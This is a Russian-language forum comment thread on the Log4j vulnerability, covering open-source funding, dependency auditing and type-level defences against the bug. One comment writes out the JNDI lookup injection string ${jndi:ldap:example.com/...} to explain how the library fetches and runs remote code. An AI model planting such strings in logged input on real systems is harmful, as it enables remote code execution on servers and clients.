10.01.2022 17:17У нас примерно тоже самое. Причем масштабы большие, поэтому трудозатраты — тоже немелкие. И они все еще не закончились, если вдуматься.
sergey-b
09.01.2022 22:20Говорят, постарадала игра minecraft. Там в чат что-то вредоносное закинули.
Darth_Malok
10.01.2022 06:46Не игра, а игроки и сервера)
Через чат можно было выполнять произвольный код на клиентах и на сервере через внутриигровой чат. При появлении в логах сообщения выполнялся код. На клиентах игроков в основном пугали запуском блокнота или калькулятора, но сколько троянов было подсажено, сколько данных украдено, не подсчитать, наверное.
Кстати, ладно логирование на сервере, но что логировалось на клиентах, и с какой целью?
Areso
10.01.2022 09:30+2Клиент, который логирует сам себя? В MMORPG это довольно распространенная практика. Как пример, крашнулся клиент, где вы там на сервере будете логи искать среди тысяч клиентов и насколько они подробные будут?
ShadowTheAge
10.01.2022 15:00+2Логируется очевидно в лог который можно потом в случае краша или еще чего нибудь посмотреть. Так делают почти все игры и почти любой серьезный софт.
akurilov
09.01.2022 20:45+1Принято считать, что открытый код по умолчанию более качественный,
надёжный и безопасный, чем проприетарный. Это кажется логичным, ведь его
могут проверить специалисты со всего мира. Каждый может посмотреть и
убедиться в его безопасности....
По итогам этой истории некоторые сделали вывод, что налицо фундаментальная проблема опенсорса, которая сводится к тому, что мейнтейнерам не платят денег.
Непонятно, откуда вывод, что деньги решат проблему. В не open source известно меньше критических дыр? И если меньше, не только лишь потому что некому посмотреть? Странная логика.
ZhilkinSerg
09.01.2022 22:42+2Принято считать, что открытый код по умолчанию более качественный, надёжный и безопасный, чем проприетарный.
Кем принято?
karavan_750
09.01.2022 22:54Кстати: если вы заинтересованы в поиске интересных задач по направлению ИБ, мы всегда рад видеть вас в наших рядах. Актуальные вакансии по ссылке.
Я подумаю над вашим предложением
peterpro
10.01.2022 12:49Сразу вспомнилось "Пламя над бездной" Вернора Винджа, с его хтоническим чудищем, похороненным в глубинах забытого репозитория :)
StriganovSergey
10.01.2022 14:17-1Такие вопросы касаются развития нашей цивилизации в целом.
Нужны официальные международные программы по аудиту безопасности ПО и по поддержке открытых проектов.
Возможно, как одна из программ ООН ( или что-то аналогичное по смыслу).
Вопрос уже нужно поднимать на уровень глав государств, пусть начинают обсуждать создание таких программ, и их финансирование.
Аналогично программам по борьбе с эпидемиями, изменением климата, бедностью и тому подобное.
Nehc
10.01.2022 15:36>>> Мейнтейнеры опенсорса должны получать зарплату за свой труд
И что это изменит? А я вам скажу, что: если ты сделал собственное поделие, выложил в открытый доступ по лицензии GPL и там написано, что оно поставляется «как есть» и никакой ответственности ты за него не несешь, то это одно. А если ты получаешь бабло от корпораций, то эти же корпорации с тебя же в случае чего и спросят! На все, что называется деньги. Просмотреть косяк может кто угодно, оплата/квалификация имеет лишь косвенную корреляцию с безопасностью кода…
Проблема же в чем? Опенсорс безопасен, потому, что его МОЖЕТ проверить на уязвимость кто угодно… Ключевое слово МОЖЕТ. Может проверить, а может и не проверить. Нужно платить не мейнтейнерам — они работают на энтузиазме, а эта мотивация посильнее денежной. ) Нужно платить аудиту. Нужна какая-то контора, финансируемая из серьезных источников (кровавый энтерпрайз!), которая ставила бы лейбл «проверено» на публичных репозиториях. А еще лучше — продавала бы платную подписку к своей npm…
Вопрос — каков уровень ответственности должен быть у такой компании, и кто готов на такое подписться! Представляете суммы издержек по той же Log4j? Впрочем, тут все от EULA зависит… Можно же написать там что «мы дорожим репутацией и обязуемся тщательно проводить аудит пакетов, а так же мониторить сообщения публичных источников, но тем не менее не являемся разработчиками пакетов и не можем гарантировать 100% безопасность...»
Krey
11.01.2022 06:01может быть квалифицирован как ведущий инженер-программист (сеньор)
Я всегда считал, что сеньор это старший, тогда как ведущий - лид
Shaz
Ну это выходит что? Годами рассказываем что "любой может проверить и исправить", а когда нашлась дыра то "а это все мейнтейнеры проглядели!" и виноваты опять корпорации. А что и кто мешал за все это время провести аудит используемых библиотек куче фирм которые их используют? Выходит что коммерческие разработчики, тестировщики, их отделы иб, получающие вот эти огромные зарплаты, проверяющие свои продукты, и использующие данную библиотеку все равно проглядели? Ну так и что должно изменится если кто-то кому-то начнёт платить зп? С точки зрения безопасности кода выходит что ничего не изменится. А вот с точки зрения развития опенсорса - вообще непредсказуемо.
З.Ы. И давайте не путать "открытое" и "свободное" по.
pyrk2142
Основная проблема в том, что такой подход требует невероятных затрат ресурсов для каждой из компаний. Десяткам тысяч компаний надо проверить тысячи библиотек и зависимостей, это практически невозможно. А вот если бы хотя бы по несколько специалистов от десятка (для дополнительной страховки) компаний проверили бы по одной зависимости, то суммарно эти тысячи компаний покрыли бы гигантский объем зависимостей. Но как организовывать распределение и проверять качество проверки - отдельный сложный вопрос.
dimaaannn
А кто им мешает объединяться и проверять подобные уязвимости сообща? Именно так работает опенсорс, но почему то огромным кампаниям это не под силу.
Где же проблема? В технической невозможности или в нежелании тратить ресурсы?
Priest
мешает приблизительно то же самео что обычным людям вести здоровый образ жизни.
Только масштабы чуть другие :-D
squaremirrow
Равновесие "объединиться и проверять уязвимости сообща" неустойчиво: каждой отдельной компании выгодно выйти из такого объединения и бесплатно пожинать его плоды (ведь ПО — свободное!). Поэтому такого не будет никогда, в текущей модели свободного ПО.
Как сделать это равновесие устойчивым? Надо как-то компенсировать компаниям участие в таком объединении. Например, фонды открытого ПО могут сделать программу bug bounty, и платить любому, кто сообщит о баге (а лучше — сразу предложит решение). Сейчас, насколько я понимаю, фонды платят только постоянным мейнтейнерам.
DabjeilQutwyngo
А если прокопать всю систему причинно-следственных связей, т.е. полноценно и обстоятельно провести анализ корневых причин, что получится на верхушке айсберга? На верхушке будет "об этом же нужно думать, а потом думать, как сделать иначе, а потом договариваться и убеждать". Даже в ситуации c Log4j прослеживается зависимость "ощутили угрозу –> начали реагировать". А это, опять же, особенность работы мозга и психики.
Смысл не в угрозе, как одном из способов мотивации, а в необходимости мотива к расходованию мыслетоплива на непонятное. А ещё не учитывались эффекты от тотальной невыгодности качества, правды и справедливости в капитализме вообще, и западной культуре и традициях в частности. Т.е. снова приходим к одному и тому же: дело не в сложности и не в методах разработки ПО, а в людях, особенностях функционирования мозга и психики, в смысле и целей жизни. И предлагать вознаграждение за компенсацию деятельности, которая изначально должна быть, т.к. компании полуют за заявленную функциональность и качество, которые "с гнильцой", это всё равно что платить второй раз за уже оплаченную работу, не выполненную надлежащим образом.
vkni
Конкуренция.
worldmind
Расскажите это Linux Foundation
user2010
Вы совсем трудный! Вы конечно кинетесь и туда и сюда тут поработаете , там поработаете! Потом заорёте! "К топкам товарищи, к топкамм". и спокойно пойдете зарабатывать нахлеб! А этои пусть там Е*** !
Kazzman
Ну а как происходит (или должен происходить) аудит у всяких фбр/фсб , перед тем как софт получает соответствующий шильдик? Для меня это загадка, как, даже имея исходники, можно в тоннах кода разобраться, а потом еще и проанализировать его.
ldss
надо автоматизировать
есть же veracode, например
PaulIsh
Нужно категоризировать сторонние библиотеки по критичности. Чем больше проектов использует (число загрузок или как-то еще), тем выше критичность.
Открыть некоммерческую организацию, целью которой будет провека наиболее критичных открытых библиотек. Или фонд открыть, который будет такие работы финансировать.
Для крупных компаний подписаться на финансирование фонда или НКО.
Факт проверки определенной версии библиотеки можно подтвержать цифровой подписью ответственной за проверку организации.
В менеджеры пакетов внедрить механизм контроля фактов проверки вервсий сторонних библиотек.
SadOcean
Более того, это может возглавить какая нибудь корпорация.
Типа мы, МС, заинтересованы в проверке критичных инфраструктурных проектов и безопасности наших клиентов, поэтому мы сделаем фонд, наймем людей, и они проведут аудит, фиксы и прочее в 500 самых распространенных библиотек и решений в ближайшие 5 лет и 2000 в течении 15.
DabjeilQutwyngo
Это всегда упирается в проблему "кто проверит проверяющего". Пока это делают люди, проблема не имеет технического решения.
snaiper04ek
Хорошее заявление, только разница между "не проверять вообще, авось нормально всё будет" и "проверить хоть как-нибудь силой трёх рабов за хлеб и воду" уже колоссальна. А если вместо трёх рабов будут отделы разаботки, QA, и манагер с плёткой(даже если плётка оббита мехом и вообще не больно), с таким решением можно даже жить-поживать и добра наживать. "Эточеловеки, человеки не идеальны" - известная информация, только от её известности мир лучше не становится: работать нужно с теми ресусрами в целом, и человеко-ресурсами в частности, котоыре имеются.
0xd34df00d
Проблема еще и в том, что этот аудит надо делать регулярно, в идеале — после каждого коммита в библиотеку. Это нереалистично.
Вернее, нереалистично с людьми. Есть кое-какие инструменты, могущие проверять код после каждого коммита, называются компиляторами. Вот бы был способ в одном месте указать, что функция логгирования не может использовать ничего для общения с внешним миром, кроме условного
writeFile… Да ну, сложно это, не нужно, контроль за эффектами какой-то, так и до всяких ненужных хаскелей с трихомонадами недалеко.inkelyad
Так было же вроде бы (сильно не уверен, потому что смотри следующее предложение). Но народ не осилил и не пользовался. Как я понимаю, сейчас это выглядит как-то так: https://openjdk.java.net/jeps/411
Если бы везде и всегда эта возможность был бы задействована - то вытащенный неизвестно откуда код просто бы не выполнился.
0xd34df00d
Я честно прочитал ссылку, но не понял, как этим предлагается пользоваться.
Плюс, неочевидно, что эта штука может разрешить одному коду спокойно лезть в сеть, а другому — запретить.
gecube
Все хуже. Нам же нужно контролировать не только походы в сеть, но и более гранулярно - к этому узлу можно, а к этому нельзя. Как это на уровне кода аннотациями описать ? Да и нужно ли ?
inkelyad
'К этому узлу можно, а к этому нельзя' в данном случае (да и вообще?) излишне. В данном случае было бы достаточно, чтобы срабатывало 'код, на котором нет нашей подписи, выполняться не должен'. А уж мы должны сделать так, чтобы на тех узлах, откуда можно, наша подпись стояла. Или явно дать разрешение на выполнение для той подписи, что там используется. Опять таки, понятия не имею, насколько гранулярно в современной Java экосистеме это делается, т.к. вопрос про подпись видел только когда Eclipse спрашивает 'а точно вот эту штуку из стора поставить?'
gecube
подпись не решает проблему модификации кода в памяти злоумышленником. Подпись решает проблему контроля загрузки кода - именно в момент начала выполнения. Поэтому любая защита должна быть многослойная.
Касательно того, почему мы хотим высокоуровнево определять ограничения для работы нашего приложения, а не более детализированно - к сожалению, от Вас не услышал. Т.е. в принципе это окей, хоть что-то. Но как показывает практика все подобные механизмы обычно имеют слишком низкую степень гранулярности. Например, как в Линуксе CAPs, в андроиде или яббле. Условно - если ты хочешь дать приложению доступ к галерее, то либо ко всей галерее, либо вообще никакого. А выбрать отдельные файлы - ни-ни (я тут немножко спекулирую, может все и не так плохо)
Arioch
Потому что они существуют отдельно от механизмом самого доступа, и получается необходимо полностью всё дублировать. Сделали интерфейс чтения файла - нужно сделать ещё одни такой же интерфейс проверки прав чтения файла, сделали интерфейс чтения разговора/сообщения/параграфа-в-соообщении форума - нужен параллельный интерфейс проверки прав. А потом весь это "shadow DOM" ментейнить. А гораздо более понятная проблема параллельной разработки кода и документации - тоже не до конца решена.
Тиритисски выход отсюда - capability-based OS. Когда "картинка в галерее" - это не просто абстрактный текст, путь к файлу, в объект включающий права доступа.
Аналогично как в функциональных языках убрали проблему null dereference вообще убрав null и заменив его option-типами (со своими, иными сложностями). Либо есть ссылка на объект и она валидна, либо нет.
Другой вопрос, что строить такую capability-based OS надо почти что с нуля, начиная со смутных академических идей, и выкинув все существующие ОС и приложения, в которые были вложены десятки лет и десятки тысяч человек.
Хотя в качестве демонстрашки вроде бы что-то такое даже поверх Windows делалось, с подменой системных диалогов "открыть/сохранить файл", что отправляя кому-то файл ты ему автоматически отправляешь и права на него. Подробностей не помню уже, вышел туда каким-то сильно кружным путём с обсуждения врождённых проблем GNU Hurd и потом через экспериментальные полу-коммерческиe ОС 2000-x (не взлетели).
inkelyad
Я тоже не понял в свое время, когда просто читая все по порядку на эту часть Java системы набрел. А после этого ни разу не сталкивался. Но например, товарищи из Elasticsearch, которые использование осилили, теперь пишут (выделение мое)
sergey-b
Раньше, очень давно, могла. Но технологию эффективно придушили где-то во времена перехода от Sun к Oracle.
mayorovp
Фокус в том, что библиотека логирования (или её следует считать уже целым фреймворком?) специально делается так, чтобы в пользовательский код не "протекали" знания о том, какие способы ведения логов существуют в программе и куда логи пишутся на самом деле.
Вот что реально бы помогло — так это простейшее разделение строк на "доверенные" (из конфига) и недоверенные (пришедшие из логируемого сообщения), чтобы нельзя было перепутать в каком порядке применять к ним преобразования. Но тут это надо специально делать, никакой компилятор не скажет "эй, вот в этой библиотеке строки не разделены!". Плюс, такое по производительности бьёт — ну не умеет Java в "бесплатные" обёртки, к сожалению...
0xd34df00d
Если у вас для логирования отдельный тайпкласс вроде
и функция логгирования уровня
то в клиентский код ничего не протечёт (ну, кроме той его части, что инстанциирует всё это конкретным
MonadLogContextгде-то в районеmain).mayorovp
Вы сейчас привели вообще не тот кусок кода, в котором была проблема в log4j.
Где тут гарантии что конкретная реализация MonadLogContext будет писать в файл, но не будет лезть в базу?
И как вы её дадите, если требованием к библиотеке является настраиваемые через конфиг логи?
0xd34df00d
Тут гарантии в том, что библиотека не будет делать ничего IOшного, что не было бы реализовано в
MonadLogContext, и, соответственно, вам как автору программы можно глазами просмотреть ровно одно место, а не бегать по всей документации (что, как тут рядом кто-то писал, нетривиально для log4j и jndi) и исходникам, пытаясь понять, что же эта библиотека может делать.Соответственно, что там конфигурировать, что существенно влияло бы на реализацию этого тайпкласса, тоже не очень понятно.
Cerberuser
Суть в том, что, с точки зрения кода, она может делать всё то IO-шное, что ей положено по документации (в том числе и ненужное для данного конкретного приложения). А вот что она делать реально будет - сказано в конфиге и читается в рантайме.
0xd34df00d
Так а на какие аспекты поведения этой функции влияет конфиг, кроме, возможно, пути, куда надо писать логи?
Cerberuser
Ну, например, на то, будет ли она их писать, условно, в текстовый файл, в БД или куда-то отправлять по сети. А относительно исходной темы - будет ли она ходить за какой-то компонентой логов на внешний сервис, или опираться только на непосредственные входные данные.
0xd34df00d
Так этот конфиг — просто часть кода: передаёте ли вы в качестве
saveLogфункциюwriteFile "log.txt", илиsendToDb "localhost" "admin" "123", или ещё что.Замечательно, что это вынесено в конфиг на уровне типов! Можно не ходить в документацию, чтобы понять, что библиотеку надо выкинуть.
Cerberuser
То есть, чтобы поправить конфигурацию логгера - нужно влезть в код и перекомпилировать систему? Я-то только за (причём независимо от содержания конфига - даже если он по своей сути безобиден, действительно удобнее, когда он тайпчекается), но, полагаю, со мной здесь согласятся немногие, особенно заказчики, которые хотят иметь самостоятельный контроль над подобными вещами.
0xd34df00d
В код в любом случае лезть придётся, и неважно, XML-конфиг это или .hs-файл — всё равно по-хорошему надо прогонять через CI, деплой, и так далее.
Но прелесть этого подхода в том, что степень конфигурации управляется вами. Нужно при запуске менять только имя файла для логгинга — добавили параметр. Нужно при запуске менять, логгировать ли в файл или в syslog — добавили параметр и делаете
Нужно менять это в рантайме без перезапуска программы — вообще добавили куда-нибудь
IORefс текущей функцией записи и не паритесь.Cerberuser
По-хорошему - может быть. А по факту - заказчик поправил текстовый файл в любом редакторе, сделал systemctl restart, и готово, и нас отвлекать от новых фич не надо.
mayorovp
Если вам надо писать логи в файл, только в файл и только в один файл — вероятно, вам вообще нафиг не нужен log4j-подобный фреймворк. Log4j подключают не ради простой записи в файл.
0xd34df00d
Настраиваемость конкретного экшна (в смысле IO-экшна) для логгинга на стороне пользователя библиотеки (а не в кишках библиотеки) не означает, что вы можете писать только в файл или только в один файл.
mayorovp
Именно в этом куске кода никаких гарантий нет.
Смотрите, с точки зрения фреймворка логирования, у программы есть разные компоненты:
А) Сама программа
Б) API фреймворка
В) Ядро фреймворка
Г) Подключаемые плагины для ведения логов
Вы сейчас упорно пытаетесь наложить ограничение на компонент А через типизацию компонента Б. А обсуждаемая ошибка — она вообще в компонентах В и Г. Их ваш MonadLogContext вообще никак не затрагивает!
А теперь поясню задачу ещё немного. Вот смотрите, у нас есть строчка ${jndi:ldap:example.com/bla-bla-bla}. Если эта строчка встретилась в конфиге — библиотека обязана пойти на example.com, загрузить оттуда кусок кода и выполнить его. Если эта строчка была передана из компонента А — библиотека обязана никак не интерпретировать её.
Так вот, я знаю способ так типизировать В, чтобы плагины из Г автоматически этому условию удовлетворяли — всего-то нужна пара newtype. Но вот какой компилятор заставит вас эти newtype написать, если программа прекрасно работает и без них?
0xd34df00d
Фреймворк логирования… Ну хорошо хоть до фреймворков сложения целых чисел не дошли. Но это так, мысли вслух, мне просто выражение понравилось.
Я как пользователь фреймвокра логирования смотрю не с точки зрения фреймворка логирования, а с точки зрения, ну, его пользователя. И я не накладываю (и не хочу накладывать) ограничения на всю программу (в контексте логирования), а накладываю ограничения на то, что этот фреймворк вообще может делать.
Если фреймворк весь живёт в IO, то он может хоть по jndi ходить, хоть тырить пароли от моих биткоинов. Для проверки того, что он этого не делает, мне нужно читать его исходники, причём, после каждого обновления версии. Если же он живёт в своей абстрактной монаде (или в mtl-подобном тайпклассе), то для проверки того, что он делает, мне нужно просто прочитать конкретный инстанс этого тайпкласса, который я конструирую и передаю ему в своём коде — соответственно, читать чужой код мне не нужно вообще (с точностью до
unsafePerformIOи прочих, но это отдельная дискуссия).Это мне не нужно. Я не хочу, чтобы логгер куда-то там ходил и чтобы он евал какие-то там джары. Вообще. Как класс. Мне не нужна эта функциональность, и подавляющему большинству других людей, которые использовали log4j, она, подозреваю, не нужна. А кому нужна, так для тех может быть отдельная тяжеловесная библиотека, с jndi и плагинами (какие вообще нафиг плагины для логгинга?), которая хоть живёт в IO, хоть делает что угодно. Ну или можно сделать дочерний тайпкласс, какой-нибудь там
и если кому очень надо загружать джары из логгера — пусть пользуется функциями, живущими в нём.
Поэтому и ваш соседний комментарий не очень релевантен — вы смотрите с позиции фреймворка логгирования, а надо с позиции его пользователя.
mayorovp
Очень простые. Три базовые фичи любой продвинутой библиотеки для ведения логов — запись в консоль, запись в файл, запись по сети в какой-нибудь syslog. Последняя фича автоматически означает, что вы не сможете запретить работать с сетью и делать там что угодно.
И у вас этого не получилось. Потому что ваш MonadLogContext реализуется компонентом В и там может оказаться, потенциально, любая фигня которую вы проглядите если будете смотреть только на контракт.
Я смотрю с позиции архитектуры.
0xd34df00d
Он не обязан реализовываться компонентом B. Да, у вас библиотека может предоставлять какой-нибудь большой, сложный и страшный инстанс для случая, когда надо поддерживать всё, от файлов до сислогов и systemd, и в рантайме всё это менять, но вместе с тем для простых случаев уровня конфигурирования пути к файлу или выбора между syslog и файлом при старте приложения вы можете просто передать
writeFile.mayorovp
Для простых случаев вам не нужна библиотека. Там основная сложность — именно на уровнях В и Г.
0xd34df00d
А вот эти все люди, которые сейчас чинят свои случаи использования jndi, они выбирали log4j, потому что им был нужен jndi, или почему?
mayorovp
JNDI тут вовсе ни при чём, настоящая проблема библиотеки — ровно в том что я писал в комментарии ниже. Там был badLayout.
0xd34df00d
Это неважно, JNDI — это просто пример. Замените «JNDI» на «какая-то нечистая постобработка строк с логами».
mayorovp
Да, вот вам описание проблемы на Хаскеле, если русский язык вам уже непонятен...
И так, дано:
Так вот, тот String, который на выходе Layout, ни в коем случае не должен оказаться на входе LayoutParser, иначе быть дыре.
Вот какой компилятор вам подскажет, что в библиотеке логирования есть badLayout?
DabjeilQutwyngo
Т.е. это прямо таки признание, что зависимости не находятся под учётом, контролем и управлением? А ещё, что нет исходных данных о всех зависимостях, к которым возможно применять стандартные методы обхода графов, поиска на графах, чтобы решать стандартные задачи проверки? А это означает, что разработка ПО не технологична и не ведётся от осознанной потребностей через требования и проектные/архитектурные решения? Т.е. что не учтена каждая деталь конструкции, и невозможно проследить вызываемые ею эффекты?
Тогда это уже кризис индустрии, а не только лишь корпораций, открытого кода и выгорания людей на поддержке проектов. А ведь в 2000-ых очень активно росли проекты и стандарты, превращающие разработку ПО в действительно промышленную индустрию, где нет случайных, непроверенных, непросчитанных и неописанных элементов. И в этом росте принимали участие многие корпорации. Куда всё это делось и почему не применяется?
Почему до сих пор разработка ПО, в подавляющем большинстве случаев, выглядит как "что вижу – то пою"? А когда применяешь элементарные методы анализа и систематически перечисляешь случаи, банально посчитав результат декартового произведения, тут же находятся борцы за эффективность, цену и трудозатраты, отказывающиеся не то что исправлять ошибки, но даже признавать сам этот подход к обработке случаев в ПО и каких-либо системах вообще? И потом читаем рассуждения на тему "если бы программисты строили высотки/мосты ...".
gecube
правильно, потому что ПРАВИЛЬНАЯ разработка с учетом всех описанных Вами идей - будет дорогая. Как в авиации, автомобилестроении, медицине и прочем. А в бизнесе сидят управленцы, которым нужны результаты здесь и сейчас, а завтра у них золотой парашют. Если все участники процесса не будут времянщиками, то все будет ОК.
arheops
Тут как с полным доказательством правильности решения.
Это не просто дорого, это нереалистично дорого.
jno
да ладно!
А как же аджайл и всё такое? Тут свой-то код отладить/оттестить некогда — в прод пора, всё уже подписано! Вот и глядишь на то декартово произведение и думаешь, что именно можно успеть…
lookid
1 - они должны делать бизнес фичи, а не опенсорс рефакторить
2 - они должны тестировать бизнес фичи, а не опенсорс
3 - ну вот эти, возможно, и просмотрели
> Сеньор эникей
Админ, который предложил, лично должен был проверить и не на хабре писать.
Sheti
они выбрали ОперСорц почему? Потому что посчитали, что это дешевле. Им же бизнес фичи пилить надо, а писать логер это скучно и денег не принесёт. А теперь пытаются свой просчёт спихнуть на разработчиков ОпенСорца работающих за идею. Дак никаких проблем. Пилите свой логер. Но нет мы не хотим свой логер, мы хотим бесплатный и надежный.
fougasse
У нас logback, там, пока что, всё спокойно.
rrrad
её проверяли по мотивам уязвимости log4j2 и обнаружили похожую уязвимость, но минорную (требующую изменения конфигурации), так что рекомендуется её тоже обновлять
InsanusMokrassar
Дык написали же - отсутствие материальной поддержки и, как следствие, мотивации что-либо проверять. И про корпорации написали, что если бы они хотя бы малую часть прибыли направляли на опенсурс - эта самая мотивация появилась бы
mefisto666series
Можно будет обвинить получателя этих денег в том что это он во всём виноват. А еще и высокооплачиваемый специалист, называется.